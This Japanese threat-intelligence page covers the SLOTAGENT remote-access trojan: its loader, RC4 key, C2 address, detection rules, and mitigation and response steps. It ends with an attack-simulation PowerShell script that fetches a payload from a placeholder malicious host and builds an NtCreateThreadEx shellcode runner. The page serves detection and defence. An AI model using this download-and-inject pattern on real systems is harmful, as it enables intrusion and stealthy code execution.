新たなマルウェア SLOTAGENT: BOF実行をサポートする手法公開
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
IIJは、公共リポジトリにアップロードされたZIPアーカイブ内に、以前は知られていなかった多機能型RAT「SLOTAGENT」を特定しました。このマルウェアは、Beacon Object Fileペイロードの実行をサポートしており、分析を妨害するためのタイムスタンプ変更といったアンチフォレンジック機能を含んでいます。専用プロトコルを通じてJSON形式のデータを交換しながらハードコードされたTCPエンドポイントと通信します。ローダーはRC4で暗号化された設定データと、反射的DLLローディングを使用して最終的なペイロードを起動します。
調査
静的解析により、ローダー実行ファイル WindowsOobeAppHost.AOT.exeが、DJB2に基づいたカスタムハッシュルーチンでWindows API関数を解決することがわかりました。暗号化された設定ファイル db.configは、キー easdbadshyfab でRC4暗号化解除され、XORでエンコードされたDLLを含むシェルコードとして実行されます。起動後、RATは 43.156.59.110:699 に接続し、スクリーンショットの取得、ファイルのアップロードとダウンロード、BOFの実行といった機能をサポートするJSONベースのコマンドを処理します。
緩和策
防御者は、ハードコードされたコマンドアンドコントロールIPアドレスを検出し、マルウェアのネットワークトラフィックに関連付けられる特徴的なHTTPライクなパス文字列を探すべきです。レポートに提供されたYARAルールを展開して、ローダーとRATコンポーネントの両方を識別するべきです。セキュリティチームは、疑わしいAPIハッシュ動作やエンドポイントでの反射的DLLローディングを監視するべきです。署名されていないおよび信頼できないEXEまたはDLLファイルの実行は可能な限り制限するべきです。
対応
SLOTAGENTに関連する指標が検出された場合、影響を受けたホストを直ちに隔離し、悪意のあるプロセスを終了し、法医学調査用にメモリを収集します。コマンドアンドコントロールIPアドレスおよび関連ポートはネットワーク境界でブロックされるべきです。その後、知られているファイル名とハッシュをフルスイープして、エンドポイント検出システム全体に公開されたYARA署名を適用します。
攻撃フロー
検出
可能性のあるWindowsOobeAppHost.AOT DLLサイドローディングの試み(image_load経由)
ビューモード
検出するためのIOCs(HashSha256):BOF実行をサポートする新しいマルウェアSLOTAGENT公開
ビューモード
検出するためのIOCs(SourceIP):BOF実行をサポートする新しいマルウェアSLOTAGENT公開
ビューモード
検出するためのIOCs(DestinationIP):BOF実行をサポートする新しいマルウェアSLOTAGENT公開
ビューモード
SLOTAGENT C2通信を検出する [Windows ネットワーク接続]
ビューモード
SLOTAGENT マルウェア実行の検出 [Windows プロセス生成]
ビューモード
シミュレーション実行
前提条件:テレメトリ&ベースライン事前フライトチェックが完了していること。
-
攻撃のナラティブ&コマンド:
攻撃者はSLOTAGENTローダーバイナリのコピーを入手し、それを
WindowsOobeAppHost.AOT.exeに名称変更して正規のOOBEプロセスと混ざるようにし、C:WindowsSystem32に配置しました。ペイロードは攻撃者のサーバーで暗号化されたブロブとして保存されています。攻撃者はPowerShellを使用して暗号化されたブロブをダウンロードし、メモリ内で復号化し、NtCreateThreadExを介してローダーの反射ルーチンを発動します。ローダーは内部でNtCreateFileを呼び出して追加のリソースを暗号化されたブロブから読み取り、その後ディスクに触れることなく悪意のあるDLLを実行するための反射ローディングを使用します。この活動により、正確なイメージ名とルールで定義された3つの文字列を含むコールトレースを伴うSysmonプロセス作成イベントが生成されます。 -
回帰テストスクリプト:
# ------------------------------------------------- # SLOTAGENT反射ローディングシミュレーション (Windows) # ------------------------------------------------- # 1. パスを定義 $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" $payloadUrl = "https://malicious.example.com/payload.bin" $tempPayload = "$env:TEMPpayload.bin" # 2. ローダーが存在することを確認 (実際のバイナリの模倣コピー) if (-not (Test-Path $loaderPath)) { Write-Host "模倣ローダーを$loaderPathにコピー中" Copy-Item -Path "C:ToolsFakeLoader.exe" -Destination $loaderPath } # 3. 暗号化されたペイロードをダウンロード (模擬) Invoke-WebRequest -Uri $payloadUrl -OutFile $tempPayload # 4. メモリ内ペイロードを復号化 (プレースホルダー – 実際の復号化は省略) $decryptedBytes = Get-Content $tempPayload -Encoding Byte # 5. ネイティブAPI呼び出しを介した反射ローディングを発動 # これはNtCreateThreadExを呼び出す小さなC#ヘルパーを動的コンパイルします $cSharp = @" using System; using System.Runtime.InteropServices; public class ReflectiveLoader { [DllImport("ntdll.dll", SetLastError=true)] public static extern IntPtr NtCreateThreadEx( out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr bytesBuffer); public static void Run(byte[] shellcode) { IntPtr hThread; NtCreateThreadEx(out hThread, 0x1FFFFF, IntPtr.Zero, Process.GetCurrentProcess().Handle, Marshal.UnsafeAddrOfPinnedArrayElement(shellcode, 0), IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } } "@ Add-Type $cSharp -Language CSharp # 6. 一時ファイルをクリーンアップ Remove-Item $tempPayload -Force -
クリーンアップコマンド:
# 残留するローダープロセスを終了 Get-Process -Name "WindowsOobeAppHost.AOT" -ErrorAction SilentlyContinue | Stop-Process -Force # 模倣ローダーバイナリを削除 $loaderPath = "$env:windirSystem32WindowsOobeAppHost.AOT.exe" if (Test-Path $loaderPath) { Remove-Item $loaderPath -Force } # 残留一時ファイルを削除 Remove-Item "$env:TEMPpayload.bin" -ErrorAction SilentlyContinue